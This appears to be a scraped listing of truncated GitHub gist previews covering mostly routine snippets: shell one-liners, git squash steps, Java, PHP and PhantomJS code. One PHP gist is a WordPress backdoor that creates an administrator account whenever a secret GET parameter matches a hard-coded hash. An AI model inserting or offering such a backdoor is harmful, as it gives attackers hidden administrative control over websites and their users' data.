This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo cp /usr/share/icons/DMZ-White/cursors/arrow /usr/share/icons/DMZ-White/cursors/watch |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public class Reversed<T> implements Iterable<T> { | |
| private final List<T> org; | |
| public Reversed(List<T> original) { | |
| org = original; | |
| } | |
| public Iterator<T> iterator() { | |
| final ListIterator<T> i = org.listIterator(org.size()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Reset the current branch to the commit just before the last X: | |
| # X is here the number of commits to squash together | |
| git reset --hard HEAD~X | |
| # HEAD@{1} is where the branch was just before the previous command. | |
| # This command sets the state of the index to be as it would just | |
| # after a merge from that commit: | |
| git merge --squash HEAD@{1} | |
| # Commit those squashed changes. The commit message will be helpfully |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| grep -rl 'OLDSTRING' ./ | xargs sed -i 's/OLDSTRING/NEWSTRING/g' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var page = require(‘webpage’).create(); | |
| page.viewportSize ={ width: 200, height : 200 }; | |
| page.content = “GoogleChart goes here”; //maybe load a skeleton here and replace some data. | |
| page.setContent(page.content,page); | |
| window.setTimeout(function () { | |
| page.render(‘newimage.png’); | |
| phantom.exit(); | |
| }, 1000); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static function convertLinks(&$input) { | |
| $input = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.-]*(\?\S+)?)?)?)@', '<a href="$1">$1</a>', $input); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action( 'wp_head', 'my_backdoor' ); | |
| function my_backdoor() { | |
| if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) { | |
| require( 'wp-includes/registration.php' ); | |
| if ( !username_exists($_GET['username'])) { | |
| $user_id = wp_create_user($_GET['username'], $_GET['password']); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function array_sort_by_collum(&$array, $col, $direction = SORT_ASC) | |
| { | |
| $sort_col = array(); | |
| foreach($array as $key => $row) { | |
| $sort_col[$key] = $row[$col]; | |
| } | |
| array_multisort($sort_col, $direction, $array); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| #wget the zip-archive of a github repo | |
| #Syntax: | |
| # git-zip.sh <USER> <REPO> | |
| URL="https://github.com/$1/$2/archive/master.zip" | |
| OUTZIP="$2.zip" | |
| echo "Download started of the repo >>$2<< by >>$1<< from GitHub." |